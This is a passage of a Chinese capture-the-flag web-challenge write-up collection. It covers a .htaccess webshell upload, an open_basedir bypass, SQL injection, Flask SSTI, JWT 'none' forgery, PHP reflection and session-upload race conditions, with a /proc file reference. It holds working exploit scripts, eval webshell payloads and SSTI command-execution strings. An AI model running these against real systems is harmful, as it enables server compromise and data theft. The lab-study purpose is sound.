php_value auto_append_file "php://filter/convert.base64-decode/resource=tt.gg#这里就将其进行base64进行编码
"""

url="http://135d9802-5db9-41f2-8761-9eeb38a3ece9.node3.buuoj.cn?_=${%A1%B9%BB%AA^%FE%FE%FE%FE}{%A1}();&%A1=get_the_flag"

files={
'file':('.htaccess',conten_htacc,'image/png')
}
r=s.post(url,files=files)
print(r.text)

根据这个获取文件夹所在位置
upload/tmp_4f105b2c0ec2da14aae9b130ee13f8e9/.htaccess
接下来是构造我们的图片马

import requests
import base64
s=requests.session()
url="http://a199f759-9689-41ad-b7a7-c0bab6144be6.node3.buuoj.cn/?_=${%A1%B9%BB%AA^%FE%FE%FE%FE}{%A1}();&%A1=get_the_flag"
content_hta=b"""
#define width 1
#define height 1
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_233e0752380798f15678fca34b470aea/1.test
"""
file1={
'file':('.htaccess',content_hta,'image/jpeg')
}
r=s.post(url,files=file1).text
print(r)
txt_content=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>")
file2={
'file':('1.test',txt_content,'image/jpeg')
}
r=s.post(url,files=file2).text
print(r)

这边有个小细节 因为我们需要让php中的内容进行base64解码,但是前面又有个GIF98a不是base64编码内容,为了不让编码紊乱,base64的编码是将每三个字符转化为四个字符,那么解码的时候就会将原本的四个字符转化为三个字符,所以此时要多加两个字符,才不会影响到后面的马
img

没办法用蚁剑直接连接,推测是因为路径限制
接下来我们要做的就是绕过open_basedir,进行文件的读取

https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

https://hexo.imagemlt.xyz/post/php-bypass-open-basedir/

这篇文章有关于open_basedir绕过的底层详解
看完以后我的理解是这样,ini_set open_basedir只是关注绝对路径和相对路径的拼接,其实是没有关注相对路径是会发生变化的

这里举个例子说明:
假设我们的open_basedir为/var/www/html/ 我们位于/var/www/html/test 目录下,执行第一个ini_set后,首先判断/var/www/html/test/..即/var/www/html/是否为open_basedir内,判断成功,因此直接更新open_basedir为..
chdir() 函数改变当前的目录。那么接下来我们执行chdir(‘..’) ..根据当前目录补全后为/var/www/html 而open_basedir补全以后也是var/www/html 同样满足,所以我们就可以这样一直跳转到根目录下

POC链:

cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
img 可以看到flag文件了
?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

小结

感觉这道题真的收获很多,这边理一下:
首先是思路:无字母数字如何getshell?——>如何绕过文件上传限制——>如何绕过open_basedir读取文件

收获知识点:
1.无字母数字获取脚本编写
2.PHP7特性下,变量解析的更新
3.htaccess+文件包含绕过内容过滤以及exif_imagetype的bypass
4.open_basedir+ini_set+chdir绕过open_basedir
没有实践的点记录一下:
exif_imagetype()以及open_basedir()+ini_set()函数的底层代码跳转过程

参考:https://mayi077.gitee.io/2020/02/14/SUCTF-2019-EasyWeb/
https://www.cnblogs.com/20175211lyz/p/11488051.html

https://www.jianshu.com/p/6f05923012d7

https://hexo.imagemlt.xyz/post/php-bypass-open-basedir/

https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

buuctf17

[RCTF2015]EasySQL

又是二次注入,注册登录改密

<?php

session_start();

header("Content-Type: text/html; charset=UTF-8");


require_once 'config.php';
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

if(isset($_POST['oldpass']) && isset($_POST['newpass'])){
$oldpass = md5($_POST['oldpass']);
$newpass = md5($_POST['newpass']);
$username = $_SESSION['username'];
$sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
// var_dump($sql);
$query = mysql_query($sql);
if($query){
exit('');
}else{
die(mysql_error());
}
}
?>

直接看这段代码吧,username此时是没有被md5加密的,也就是说这是我们的利用点

function check($string)
{
//$string = preg_replace("#(\s)|(/\*.*\*/)#i", "", $string);
$postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i";
if(preg_match($postfilter, $string,$matches))
{
echo "<script>alert('invalid string!')</script>";
die();
}
else
return $string;
}

这是过滤内容,所以我们可以闭合username

adm"extractvalue(1,concat(database()))#

z这边看到一个师傅的payload

test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

有意思的是 flag所在的列名没有完全出来,于是就使用了正则匹配匹配字符r得到flag
img

最后要记得翻转哈,不然长度限制了

[CSCCTF 2019 Qual]FlaskLight

查看源码有提示,SSTI注入
直接上payload

怎么说 我忘记保存了–

一开始没发现过滤东西,
img
找到了读文件的file方法,但是不知道flag位置
于是尝试其他方法,发现会跳转500,感觉是什么被过滤了,发现是globals

尝试一下绕过:发现拼接法可以绕过:

{{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen("ls").read()}}

接下来就可以随便使用命令
这里没用builitins当跳板,因为eval被禁用了,直接用上面这个更简洁

然后这里说一下wp的方法,感觉挺新奇的:

inux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。

img
{{"".__class__.__mro__[-1].__subclasses__()[40]('/flasklight/app.py').read()}}

读取源码
发现提示:

CCC{the_flag_is_this_dir}

但是不知道flag的文件名
WP说可以利用subprocess.Popen这个类,无需globals也可以进行读取

import requests
url="http://202f932e-6c5b-47c0-9de9-0a1627399bb6.node3.buuoj.cn/?search="
s=requests.session()

for i in range(1,1000):
payload = "{{''.__class__.__mro__[-1].__subclasses__()[%s]}}"%i
print(payload)
if 'subprocess.Popen' in s.get(url+payload).text:
print(i)
break

结果是258
payload:

{{[].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

不过也挺麻烦的==

[HITCON 2017]SSRFme

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

之前做过了 在i春秋10 就是利用get里面的perl命令执行,然后这题好像没有flag–

[HFCTF2020]EasyLogin

注册——登录 F12查看源码:

/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

知道是koa-static

不知道是个啥 是node.js吧?于是乎去学习一下看了一下wp说是要在controllers下的api.js才是真正的源码

node.js

由于本题是基于koa框架的,所以需要了解他的一些基础信息

koa框架常用目录、文件

img

看了这个框架后很明显,我们需要找的是处理逻辑,但是本题中,处理逻辑放在
controllers/api.js文件下(经验),有的controllers默认目录下的文件就是api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});//jwt验证

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

看了一下代码,主要是是要伪造jwt为admin然后就可以读取flag惹=-=
印象中之前也做过一题伪造jwt了
img

吧这个autho啥的拿去https://jwt.io/这个网站解码
然后jwt会防篡改,这里绕过的姿势就是将HS256改为none,然后构造:

{"alg":"none","typ":"JWT"}.{"secretid": [],"username": "admin","password": "123456","iat": 1623114083}.
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTYyMzEzMzA0NX0.Qjxs0QkJ0e_Sjrn8WbCPKaE5kFouERQY8RZ6nGctW6Q
img 记得将username换成admin,然后登陆进去以后抓包按getflag就行

jwt攻击小结

jwt就是一种验证方式,思路就是拿到密文,然后去网站解密https://jwt.io/,修改其中的值,再加密回去,本地能绕过是因为验证方式比较简单:首先签名算法确保恶意用户在传输过程中不会修改JWT,但是jwt支持无签名算法,**所以如果将alg的加密方式改为none**,就不用对jwt进行签名,这样jwt的存在就没有意义了。

secret更改为数组的原因是也是和上面的更改none方法相呼应,因为只有secret更改为空这个方法才有效
但是本题为什么更改为数组?为什么不直接放空白,这点在他的源码有写,secret不能为空
js是弱类型语言,secret设为一个数组或小数,比较永远为真,但是并且不为空。

攻击思路:
注册获得jwt——更改jwt——重新进入

[GYCTF2020]Ezsqli

SQL注入,数字型注入,过滤infomation,推测要无列名注入了
接下来测试一下注入点发现

id=1和id=2回显不一样

这里有个细节需要说一下,由于and被过滤了,&&在url传输过程中有其他含义,不好用,所以这里用的|,但是用|的话就需要我们让id=2,这样 两个都错才是v&n,一个对一个错就是nu1l,如果是id=1,就会一直是nu1l

接下来就贴脚本惹:

import requests
url="http://38e59c90-abd2-495b-8ea0-e256893cdce2.node3.buuoj.cn/index.php"
s=requests.session()
database=""
for i in range(1,100000000):
low=0
high=264
mid = (low + high) // 2
while(low<high):
#payload_1=f"2||ascii(substr(database(),{i},1))>{mid}"#爆库give_grandpa_pa_pa_pa
#payload_2=f"2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{i},1))>{mid}"#f1ag_1s_h3r3_hhhhh
payload_2 = f"2||ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{i},1))>{mid}"#像无列名注入很经常列名都是flag,好几次了,

#print(payload_2)
#payload_2=
data={
"id":payload_2
}
print(s.post(url,data=data).text)
if "Nu1L" in s.post(url,data=data).text:
low=mid+1
else:
high=mid
mid = (low + high) // 2
if (mid == 0 or mid == 264):
break
database += chr(mid)
print(database)
print(database)

有个很无语的事,就是一旦请求多了,网页就会崩溃–,所以很痛苦

我还一直在想是出了什么问题了,就算把线程改为1也不行–
img

img

由于本题过滤了union 所以常规的无列名注入在这里就行不通了
这里学习一下

无列名按位比较注入

import requests
s=requests.session()
url="http://38e59c90-abd2-495b-8ea0-e256893cdce2.node3.buuoj.cn/index.php"
payload=""
def trans(flag):
res=''
for i in flag:
res+=hex(ord(i))
res='0x'+res.replace('0x','')
return res
flag=''
for i in range(1,500):
hexchar=''
for char in range(32,126):
hexchar = trans(flag+chr(char))
payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
data = {
'id': payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char - 1)
print(flag)
break

1.说一下原理,这里是使用了一个比较的思想,先比第一位,如果第一位相等则比较第二位,在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大

2.所以这里需要两个循环,一个循环记录次数,一个循环放字符

无列名注入小结:

无列名注入可能是之前都没小结过,每次都要翻一下记录:
这里总结一下方便记忆的公式吧

select b from (select 1,2 as b,3 union select * from users)a;
虚拟列名 字段数 并且将要显示的 as b 表名 任意字母
(select 1,爆破内容)>(select * from 表名)

CTF中linux重要文件目录小结(文件读取)

最近发现读取目录也是需要积累的 所以在这里总结一下:

/proc/[pid]/

Linux 内核提供了一种通过 proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

用户和应用程序可以通过 proc 得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取 proc 文件时,proc 文件系统是动态从系统内核读出所需信息并提交的。

下面列出的这些文件或子文件夹,并不是都是在你的系统中存在,这取决于你的内核配置和装载的模块。另外,在 proc 下还有三个很重要的目录:net,scsi 和 sys。 sys 目录是可写的,可以通过它来访问或修改内核的参数,而 net 和 scsi 则依赖于内核配置。例如,如果系统不支持 scsi,则 scsi 目录不存在。

除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在 proc 下,以进程的 PID 号为目录名,它们是读取进程信息的接口。而 self 目录则是读取进程本身的信息接口,是一个 link。

/proc/[pid]/auxv

/proc/[pid]/auxv 包含传递给进程的 ELF 解释器信息,格式是每一项都是一个 unsigned long长度的 ID 加上一个 unsigned long 长度的值。最后一项以连续的两个 0x00 开头。举例如下:

$ hexdump -x /proc/2406/auxv

0000000 0021 0000 0000 0000 f000 f7fa 7fff 0000
0000010 0010 0000 0000 0000 fbff 1f8b 0000 0000
0000020 0006 0000 0000 0000 1000 0000 0000 0000
0000030 0011 0000 0000 0000 0064 0000 0000 0000
0000040 0003 0000 0000 0000 0040 0040 0000 0000
0000050 0004 0000 0000 0000 0038 0000 0000 0000
0000060 0005 0000 0000 0000 0007 0000 0000 0000
0000070 0007 0000 0000 0000 0000 0000 0000 0000
0000080 0008 0000 0000 0000 0000 0000 0000 0000
0000090 0009 0000 0000 0000 55e0 0045 0000 0000
00000a0 000b 0000 0000 0000 0000 0000 0000 0000
00000b0 000c 0000 0000 0000 0000 0000 0000 0000
00000c0 000d 0000 0000 0000 0000 0000 0000 0000
00000d0 000e 0000 0000 0000 0000 0000 0000 0000
00000e0 0017 0000 0000 0000 0000 0000 0000 0000
00000f0 0019 0000 0000 0000 f079 f7f6 7fff 0000
0000100 001f 0000 0000 0000 ffea f7f6 7fff 0000
0000110 000f 0000 0000 0000 f089 f7f6 7fff 0000
0000120 0000 0000 0000 0000 0000 0000 0000 0000
0000130

/proc/[pid]/cmdline

/proc/[pid]/cmdline 是一个只读文件,包含进程的完整命令行信息。如果该进程已经被交换出内存或者这个进程是 zombie 进程,则这个文件没有任何内容。该文件以空字符 null 而不是换行符作为结束标志。举例如下:

$ ps aux|grep frps
root 2406 0.1 0.1 54880 10524 ? Sl Dec11 21:30 frps -c ./frps.ini

$ cat /proc/2406/cmdline
frps-c./frps.ini

/proc/[pid]/comm

/proc/[pid]/comm 包含进程的命令名。举例如下:

$ cat /proc/2406/comm
frps

/proc/[pid]/cwd

/proc/[pid]/cwd 是进程当前工作目录的符号链接。举例如下:

$ ls -lt /proc/2406/cwd
lrwxrwxrwx 1 root root 0 Dec 12 20:39 /proc/2406/cwd -> /home/mike/frp_0.13.0_linux_amd64

/proc/[pid]/environ

/proc/[pid]/environ 显示进程的环境变量。举例如下:

$ strings /proc/2406/environ

SUPERVISOR_GROUP_NAME=ssh
TERM=linux
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=ssh
RUNLEVEL=2
UPSTART_EVENTS=runlevel
PREVLEVEL=N
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
UPSTART_INSTANCE=
UPSTART_JOB=rc
SUPERVISOR_ENABLED=1
runlevel=2
PWD=/
previous=N

/proc/[pid]/exe

/proc/[pid]/exe 为实际运行程序的符号链接。举例如下:

$ ls -lt /proc/2406/exe
lrwxrwxrwx 1 root root 0 Dec 11 19:00 /proc/2406/exe -> /usr/bin/frps

/proc/[pid]/fd

/proc/[pid]/fd 是一个目录,包含进程打开文件的情况。举例如下:

$ ls -lt /proc/2406/fd

lrwx------ 1 root root 64 Dec 24 09:39 77 -> socket:[44377722]
lrwx------ 1 root root 64 Dec 17 15:07 47 -> socket:[29482617]
lr-x------ 1 root root 64 Dec 12 20:18 0 -> pipe:[13282]
l-wx------ 1 root root 64 Dec 12 20:18 1 -> pipe:[13283]
lrwx------ 1 root root 64 Dec 12 20:18 10 -> socket:[12238218]
lrwx------ 1 root root 64 Dec 12 20:18 4 -> anon_inode:[eventpoll]
lrwx------ 1 root root 64 Dec 12 20:18 40 -> socket:[19378614]

目录中的每一项都是一个符号链接,指向打开的文件,数字则代表文件描述符。

/proc/[pid]/latency

/proc/[pid]/latency 显示哪些代码造成的延时比较大。如果要使用这个特性需要执行:

$ echo 1 > /proc/sys/kernel/latencytop

举例如下

$ cat /proc/2406/latency

Latency Top version : v0.1
30667 10650491 4891 poll_schedule_timeout do_sys_poll SyS_poll system_call_fastpath 0x7f636573dc1d
8 105 44 futex_wait_queue_me futex_wait do_futex SyS_futex system_call_fastpath 0x7f6365a167bc

每一行前三个数字分别是后面代码执行的次数、总共执行延迟时间(单位是微秒)和最长执行延迟时间(单位是微秒)。后面则是代码完整的调用栈。

/proc/[pid]/maps

/proc/[pid]/maps 显示进程的内存区域映射信息。举例如下:

$ cat /proc/2406/maps
00400000-006ea000 r-xp 00000000 fd:01 1727569 /usr/bin/frps
006ea000-00a6c000 r--p 002ea000 fd:01 1727569 /usr/bin/frps
00a6c000-00ab1000 rw-p 0066c000 fd:01 1727569 /usr/bin/frps
00ab1000-00ad4000 rw-p 00000000 00:00 0
c000000000-c00000b000 rw-p 00000000 00:00 0
c41feac000-c420000000 rw-p 00000000 00:00 0
c420000000-c420400000 rw-p 00000000 00:00 0
c420400000-c420700000 rw-p 00000000 00:00 0
c420700000-c420800000 rw-p 00000000 00:00 0
c420800000-c420900000 rw-p 00000000 00:00 0
c420900000-c420a00000 rw-p 00000000 00:00 0
c420a00000-c421ea0000 rw-p 00000000 00:00 0
c421ea0000-c422a00000 rw-p 00000000 00:00 0
c422a00000-c422a60000 rw-p 00000000 00:00 0
7f0418c01000-7f0418ee1000 rw-p 00000000 00:00 0
7ffff7f4f000-7ffff7f70000 rw-p 00000000 00:00 0 [stack:5121]
7ffff7fad000-7ffff7faf000 r--p 00000000 00:00 0 [vvar]
7ffff7faf000-7ffff7fb1000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

其中注意的一点是 [stack:] 是线程的堆栈信息,对应于 /proc/[pid]/task/[tid]/ 路径。

/proc/[pid]/root

/proc/[pid]/root 是进程根目录的符号链接。举例如下:

$  ls -lt /proc/2406/root
lrwxrwxrwx 1 root root 0 Dec 12 20:39 /proc/2406/root -> /

/proc/[pid]/stack

/proc/[pid]/stack 示当前进程的内核调用栈信息,只有内核编译时打开了 CONFIG_STACKTRACE 编译选项,才会生成这个文件。举例如下:

$ cat /proc/2406/stack
[<ffffffff810fa996>] futex_wait_queue_me+0xc6/0x130
[<ffffffff810fb05d>] futex_wait+0x17d/0x270
[<ffffffff810fd2d5>] do_futex+0xd5/0x520
[<ffffffff810fd791>] SyS_futex+0x71/0x150
[<ffffffff8180cc76>] entry_SYSCALL_64_fastpath+0x16/0x75
[<ffffffffffffffff>] 0xffffffffffffffff

/proc/[pid]/statm

/proc/[pid]/statm 显示进程所占用内存大小的统计信息。包含七个值,度量单位是 page(page大小可通过 getconf PAGESIZE 得到)。举例如下:

$  cat /proc/2406/statm  
13720 2617 493 746 0 12007 0

各个值含义:

a)进程占用的总的内存
b)进程当前时刻占用的物理内存
c)同其它进程共享的内存
d)进程的代码段
e)共享库(从2.6版本起,这个值为0)
f)进程的堆栈
g)dirty pages(从2.6版本起,这个值为0)

/proc/[pid]/status

/proc/[pid]/status 包含进程的状态信息。其很多内容与 /proc/[pid]/stat 和 /proc/[pid]/statm 相同,但是却是以一种更清晰地方式展现出来。举例如下:

$ cat /proc/2406/status
Name: frps
State: S (sleeping)
Tgid: 2406
Ngid: 0
Pid: 2406
PPid: 2130
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 128
Groups: 0
NStgid: 2406
NSpid: 2406
NSpgid: 2406
NSsid: 2130
VmPeak: 54880 kB
VmSize: 54880 kB
VmLck: 0 kB
VmPin: 0 kB
VmHWM: 34872 kB
VmRSS: 10468 kB
VmData: 47896 kB
VmStk: 132 kB
VmExe: 2984 kB
VmLib: 0 kB
VmPTE: 68 kB
VmPMD: 20 kB
VmSwap: 0 kB
HugetlbPages: 0 kB
Threads: 11
SigQ: 0/31834
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: fffffffe7fc1feff
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Seccomp: 0
Cpus_allowed: f
Cpus_allowed_list: 0-3
Mems_allowed: 00000000,00000001
Mems_allowed_list: 0
voluntary_ctxt_switches: 2251028
nonvoluntary_ctxt_switches: 18031

关于信号(signal)的信息:SigQ 分为两部分(例如 0/31834),前面表示当前处在队列中的信号(0),后面则表示队列一共可以存储多少信号(31834);SigPnd 表示当前线程 pending 的信号,而ShdPnd 则表示整个进程 pending 的信号;SigBlk、SigIgn 和 SigCgt 分别表示对信号的处理是阻塞,忽略,还是捕获。(关于Unix信号的相关知识,可以参考 Unix: Dealing with signals)。

/proc/[pid]/syscall

/proc/[pid]/syscall 显示当前进程正在执行的系统调用。举例如下:

$ cat /proc/2406/syscall
202 0xab3730 0x0 0x0 0x0 0x0 0x0 0x7ffff7f6ec68 0x455bb3

第一个值是系统调用号(202代表poll),后面跟着 6 个系统调用的参数值(位于寄存器中),最后两个值依次是堆栈指针和指令计数器的值。如果当前进程虽然阻塞,但阻塞函数并不是系统调用,则系统调用号的值为 -1,后面只有堆栈指针和指令计数器的值。如果进程没有阻塞,则这个文件只有一个 running 的字符串。

内核编译时打开了 CONFIG_HAVE_ARCH_TRACEHOOK 编译选项,才会生成这个文件。

/proc/[pid]/wchan

/proc/[pid]/wchan 显示当进程 sleep 时,kernel 当前运行的函数。举例如下:

$ cat /proc/2406/wchan
futex_wait_queue_meadmin

proc/self

我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。

所以我们可以通过self获取基于当前应用的不同信息

参考:https://www.hi-linux.com/posts/64295.html
https://blog.csdn.net/dillanzhou/article/details/82876575

CISCN web

easy_sql

输入信息 会报错img

根据报错信息 sql注入 需要用’)绕过闭合

因为有报错,尝试报错注入:

payload:

1')and extractvalue(1,concat('~',(select * from (select * from flag as a join flag b)c)))#
img

这里的库又禁用了,想起来上次就是直接猜表名为flag于是

尝试payload:

1')and extractvalue(1,concat('~',(select 1 from flag)))#
1')and extractvalue(1,concat('~',(select aaa from fla)))#
通过回显可以发现表名果然为flag
1')and extractvalue(1,concat('~',(select * from (select * from flag as a join flag b using(id,no))c)))#
img 获得列名
1')and extractvalue(1,concat('~',(select `87ed65c7-b43b-4438-a4b7-eed85ab78d4b` from flag)))#

img

需要substr截取:
img

参考文章:https://reader-l.github.io/2020/06/01/%E6%97%A0%E5%88%97%E5%90%8D%E6%B3%A8%E5%85%A5%E5%B0%8F%E8%AE%B0/

easy_source

看看备份目录 .index.php.swo

<?php
class User
{
private static $c = 0;

function a()
{
return ++self::$c;
}

function b()
{
return ++self::$c;
}

function c()
{
return ++self::$c;
}

function d()
{
return ++self::$c;
}

function e()
{
return ++self::$c;
}

function f()
{
return ++self::$c;
}

function g()
{
return ++self::$c;
}

function h()
{
return ++self::$c;
}

function i()
{
return ++self::$c;
}

function j()
{
return ++self::$c;
}

function k()
{
return ++self::$c;
}

function l()
{
return ++self::$c;
}

function m()
{
return ++self::$c;
}

function n()
{
return ++self::$c;
}

function o()
{
return ++self::$c;
}

function p()
{
return ++self::$c;
}

function q()
{
return ++self::$c;
}

function r()
{
return ++self::$c;
}

function s()
{
return ++self::$c;
}

function t()
{
return ++self::$c;
}

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

找到源码,发现是php反射问题

反射类中存在两个参数的就是ReflectionMethod()img

和题目吗一毛一样接下来就看要运用哪个函数了:

$method=new ReflectionMethod(User,a);
var_dump($method->getDocComment)
rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
//有个坑 他的flag是藏在其中一个方法的注释当中的,需要遍历一下!
rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

PHP手册:https://www.php.net/manual/zh/class.reflectionmethod.php

middle_source

一开始扫描目录,获得you_can_seeeeeeee_me.php

发现是phpinfo的配置文件
img

../../../../../../../../../../var/lib/php/sessions/fjjefccdjd

看到很奇怪的session目录——>考点文件包含+利用session进行文件上传(条件竞争)

import io
import requests
import threading
import time
sessid = 'TGAO'
data = {"cmd":"var_dump(scandir('/etc/gcbcgffhac/egdcbahfbh/dedhfgiaai/dajfeeacie/aeebhaaejd/fl444444g'));","cf":"../../../var/lib/php/sessions/fjjefccdjd/sess_"+sessid}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://124.70.0.162:24693', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://124.70.0.162:24693',data=data)
print(resp.text)
time.sleep(0.1)
# if 'passwd' in resp.text:
# print(resp.text)
# break
# event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

需要注意的是 etc的目录需要一个个跑


​```
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) ".pwd.lock"
[3]=>
string(3) "X11"
[4]=>
string(12) "adduser.conf"
[5]=>
string(12) "alternatives"
[6]=>
string(7) "apache2"
[7]=>
string(10) "apparmor.d"
[8]=>
string(3) "apt"
[9]=>
string(11) "bash.bashrc"
[10]=>
string(17) "bash_completion.d"
[11]=>
string(22) "bindresvport.blacklist"
[12]=>
string(8) "binfmt.d"
[13]=>
string(15) "ca-certificates"
[14]=>
string(20) "ca-certificates.conf"
[15]=>
string(6) "cron.d"
[16]=>
string(10) "cron.daily"
[17]=>
string(11) "cron.weekly"
[18]=>
string(6) "dbus-1"
[19]=>
string(12) "debconf.conf"
[20]=>
string(14) "debian_version"
[21]=>
string(7) "default"
[22]=>
string(12) "deluser.conf"
[23]=>
string(4) "dhcp"
[24]=>
string(4) "dpkg"
[25]=>
string(11) "environment"
[26]=>
string(5) "fstab"
[27]=>
string(8) "gai.conf"
[28]=>
string(10) "gcbcgffhac"
[29]=>
string(5) "group"
[30]=>
string(6) "group-"
[31]=>
string(7) "gshadow"
[32]=>
string(8) "gshadow-"
[33]=>
string(9) "host.conf"
[34]=>
string(8) "hostname"
[35]=>
string(5) "hosts"
[36]=>
string(4) "init"
[37]=>
string(6) "init.d"
[38]=>
string(7) "inputrc"
[39]=>
string(7) "insserv"
[40]=>
string(12) "insserv.conf"
[41]=>
string(14) "insserv.conf.d"
[42]=>
string(5) "issue"
[43]=>
string(9) "issue.net"
[44]=>
string(6) "kernel"
[45]=>
string(11) "ld.so.cache"
[46]=>
string(10) "ld.so.conf"
[47]=>
string(12) "ld.so.conf.d"
[48]=>
string(4) "ldap"
[49]=>
string(5) "legal"
[50]=>
string(13) "libaudit.conf"
[51]=>
string(12) "locale.alias"
[52]=>
string(10) "locale.gen"
[53]=>
string(9) "localtime"
[54]=>
string(8) "logcheck"
[55]=>
string(10) "login.defs"
[56]=>
string(11) "logrotate.d"
[57]=>
string(11) "lsb-release"
[58]=>
string(10) "machine-id"
[59]=>
string(5) "magic"
[60]=>
string(10) "magic.mime"
[61]=>
string(7) "mailcap"
[62]=>
string(13) "mailcap.order"
[63]=>
string(10) "mime.types"
[64]=>
string(11) "mke2fs.conf"
[65]=>
string(14) "modules-load.d"
[66]=>
string(4) "mtab"
[67]=>
string(5) "mysql"
[68]=>
string(8) "networks"
[69]=>
string(13) "nsswitch.conf"
[70]=>
string(3) "opt"
[71]=>
string(10) "os-release"
[72]=>
